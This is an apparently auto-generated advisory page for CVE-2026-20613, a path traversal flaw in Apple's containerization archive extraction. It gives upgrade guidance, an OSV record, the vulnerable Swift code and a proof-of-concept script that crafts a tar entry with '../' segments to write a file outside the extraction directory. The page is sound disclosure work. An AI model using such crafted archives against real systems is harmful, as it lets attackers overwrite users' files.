CVE-2026-20613: Github.com/apple/containerization Container And Containerization Archive Extraction Vulnerability

LOW
Advisory Identifier: GHSA-cq3j-qj2h-6rv3
CWE-22
Published
Advisory Summary

CVE-2026-20613 is a LOW container and containerization archive extraction vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Github.com/apple/containerization libraries in the SwiftURL ecosystem. The issue involves container and containerization archive extraction does not guard against escapes from extraction base directory.. Remediation is available by upgrading affected packages to version 0.21.0, 0.8.0.

CVE-2026-20613 at a Glance

CVE Identifier CVE-2026-20613
GHSA Identifier GHSA-cq3j-qj2h-6rv3
Severity LOW
CVSS v3.1 Base Score N/A
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Github.com/apple/containerization
Package Ecosystem SwiftURL
Published Date
Last Updated

How to Fix CVE-2026-20613

To remediate this vulnerability, upgrade all affected Github.com/apple/containerization dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/apple/containerization fixed: 0.21.0
Upgrade github.com/apple/containerization to 0.21.0
github.com/apple/container fixed: 0.8.0
Upgrade github.com/apple/container to 0.8.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/apple/containerization

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-20613, inspect your project dependencies for Github.com/apple/containerization:

inspect dependencies for github.com/apple/containerization

Analyze the terminal output to locate any version of Github.com/apple/containerization in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.21.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Github.com/apple/containerization, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `ArchiveReader.extractContents()` function used by `cctl image load` and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames. ### Details The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180. ```swift /// Extracts the contents of an archive to the provided directory. /// Currently only handles regular files and directories present in the archive. public func extractContents(to directory: URL) throws { let fm = FileManager.default var foundEntry = false for (entry, data) in self { guard let p = entry.path else { continue } foundEntry = true let type = entry.fileType let target = directory.appending(path: p) switch type { case .regular: try data.write(to: target, options: .atomic) case .directory: try fm.createDirectory(at: target, withIntermediateDirectories: true) case .symbolicLink: guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else { continue } try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL) default: continue } chmod(target.path(), entry.permissions) if let owner = entry.owner, let group = entry.group { chown(target.path(), owner, group) } } guard foundEntry else { throw ArchiveError.failedToExtractArchive("no entries found in archive") } } ``` ### PoC Sample script `make-evil-tar.py`: ```python #! /usr/bin/env python3 import tarfile import io import time tar_path = "evil.tar" # Content of the file inside the tar payload = b"pwned\n" with tarfile.open(tar_path, "w") as tar: info = tarfile.TarInfo( name="../../../../../../../../../../../tmp/pwned.txt" ) info.size = len(payload) info.mtime = int(time.time()) info.mode = 0o644 tar.addfile(info, io.BytesIO(payload)) print(f"Created {tar_path}") ``` ```console % ./make-evil-tar.py Created evil.tar % mv evil.tar /tmp % cd /tmp % ls pwned.txt ls: pwned.txt: No such file or directory % ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar Error: notFound: "/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout" % cat pwned.txt pwned ``` ### Impact Affects users of `cctl image load` in the containerization project, and any projects that depend on containerization and use the `extractContent()` function. Affects users of `container image load` in the container project. These operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is **not** a privilege escalation, the affected files can only be written to already user-writable locations.

CVE-2026-20613 Affected Github.com/apple/containerization Versions

2 component(s)
Fixed Versions:
0.21.00.8.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/apple/containerization
SwiftURL
< 0.21.0
0.21.0
github.com/apple/container
SwiftURL
< 0.8.0
0.8.0

References

Frequently Asked Questions

What is CVE-2026-20613?
CVE-2026-20613 is a security vulnerability in Github.com/apple/containerization involving Container and Containerization archive extraction does not guard against escapes from extraction base directory. under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Github.com/apple/containerization versions are affected?
Affected versions include releases prior to 0.21.0, 0.8.0 across affected packages: github.com/apple/containerization, github.com/apple/container.
What version fixes CVE-2026-20613?
Upgrading to 0.21.0, 0.8.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/apple/containerization affected?
Yes, github.com/apple/containerization is affected in releases prior to 0.21.0. Upgrade your dependency to 0.21.0 or later.
Is github.com/apple/container affected?
Yes, github.com/apple/container is affected in releases prior to 0.8.0. Upgrade your dependency to 0.8.0 or later.
What CWE is associated with CVE-2026-20613?
CVE-2026-20613 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check SwiftURL dependencies for CVE-2026-20613?
Run the dependency tree command: 'inspect dependencies for github.com/apple/containerization'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cq3j-qj2h-6rv3",
  "modified" : "2026-01-22T22:30:05Z",
  "published" : "2026-01-22T22:30:05Z",
  "aliases" : [ "CVE-2026-20613" ],
  "summary" : "Container and Containerization archive extraction does not guard against escapes from extraction base directory.",
  "details" : "### Summary\nThe `ArchiveReader.extractContents()` function used by `cctl image load` and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.\n\n### Details\n\nThe code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.\n\n```swift\n    /// Extracts the contents of an archive to the provided directory.\n    /// Currently only handles regular files and directories present in the archive.\n    public func extractContents(to directory: URL) throws {\n        let fm = FileManager.default\n        var foundEntry = false\n        for (entry, data) in self {\n            guard let p = entry.path else { continue }\n            foundEntry = true\n            let type = entry.fileType\n            let target = directory.appending(path: p)\n            switch type {\n            case .regular:\n                try data.write(to: target, options: .atomic)\n            case .directory:\n                try fm.createDirectory(at: target, withIntermediateDirectories: true)\n            case .symbolicLink:\n                guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {\n                    continue\n                }\n                try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL)\n            default:\n                continue\n            }\n            chmod(target.path(), entry.permissions)\n            if let owner = entry.owner, let group = entry.group {\n                chown(target.path(), owner, group)\n            }\n        }\n        guard foundEntry else {\n            throw ArchiveError.failedToExtractArchive(\"no entries found in archive\")\n        }\n    }\n```\n\n### PoC\n\nSample script `make-evil-tar.py`:\n\n```python\n#! /usr/bin/env python3\n\nimport tarfile\nimport io\nimport time\n\ntar_path = \"evil.tar\"\n\n# Content of the file inside the tar\npayload = b\"pwned\\n\"\n\nwith tarfile.open(tar_path, \"w\") as tar:\n    info = tarfile.TarInfo(\n        name=\"../../../../../../../../../../../tmp/pwned.txt\"\n    )\n    info.size = len(payload)\n    info.mtime = int(time.time())\n    info.mode = 0o644\n\n    tar.addfile(info, io.BytesIO(payload))\n\nprint(f\"Created {tar_path}\")\n```\n\n\n```console\n% ./make-evil-tar.py\nCreated evil.tar\n% mv evil.tar /tmp\n% cd /tmp\n% ls pwned.txt\nls: pwned.txt: No such file or directory\n% ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar\nError: notFound: \"/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout\"\n% cat pwned.txt \npwned\n```\n\n### Impact\n\nAffects users of `cctl image load` in the containerization project, and any projects that depend on containerization and use the `extractContent()` function.\n\nAffects users of `container image load` in the container project.\n\nThese operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is **not** a privilege escalation, the affected files can only be written to already user-writable locations.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "SwiftURL",
      "name" : "github.com/apple/containerization"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.21.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.20.1"
    }
  }, {
    "package" : {
      "ecosystem" : "SwiftURL",
      "name" : "github.com/apple/container"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.7.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/apple/containerization/security/advisories/GHSA-cq3j-qj2h-6rv3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/apple/containerization/commit/3e93416b9a6d7b4c25fff7e9dea22a9ca687ee52"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/apple/containerization"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-22T22:30:05Z",
    "nvd_published_at" : null
  }
}